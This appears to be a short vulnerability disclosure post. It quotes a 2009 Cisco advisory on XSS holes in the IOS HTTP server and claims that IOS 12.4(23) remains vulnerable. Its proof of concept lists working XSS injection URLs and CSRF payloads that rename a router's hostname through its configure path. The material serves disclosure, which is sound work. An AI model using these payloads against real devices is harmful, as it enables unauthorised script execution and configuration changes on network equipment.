Cisco IOS XSS/CSRF Vulnerability
There was a Cisco Product Security Incident Response Team (PSIRT)
advisory recently concerning some XSS/CSRF holes in the IOS..
quote{
Document ID: 98605
http://www.cisco.com/warp/public/707/cisco-sr-20090114-http.shtml
Revision 1.0
For Public Release 2009 January 14 1600 UTC (GMT)
Cisco Response:
"Two separate Cisco IOS® Hypertext Transfer Protocol (HTTP) cross-site
scripting (XSS) vulnerabilities have been reported to Cisco [...]
This response covers two separate cross-site scripting vulnerabilities
within the Cisco IOS Hypertext Transfer Protocol (HTTP) server
(including HTTP secure server - here after referred to as purely HTTP
Server) and applies to all Cisco products that run Cisco IOS Software
versions 11.0 through 12.4 with the HTTP server enabled.
};
According to this advisory these holes were patched in 12.4(15)T8 and
12.4(23).
However i found that the Cisco IOS ( 12.4(23) ) HTTP Server is still
prone to multiple cross-site scripting vulnerabilities because it fails
to sufficiently sanitize user-supplied data.
The attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.
Proof of concept:
furchtbar#sh ver | i IOS
Cisco IOS Software, C2600 Software (C2600-ADVSECURITYK9-M), Version
12.4(23), RELEASE SOFTWARE (fc1)
furchtbar#show ip http server status | include status
HTTP server status: Enabled
HTTP secure server status: Enabled
furchtbar#sh ip int br | i up
FastEthernet0/0 192.168.1.2 YES NVRAM
up up
...
[XSS]
http://192.168.1.2/level/15/exec/-/";><body onload=alert("bug")>
http://192.168.1.2/level/15/exec/-/";><iframe onload=alert("bug")>
http://192.168.1.2/exec/";><body onload="alert('bug');">
[CSRF]
http://192.168.1.2/level/15/exec/-/";><body
onload=window.location='http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR'>
http://192.168.1.2/exec/";><iframe
src="http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR";>
Best Regards,
Zloss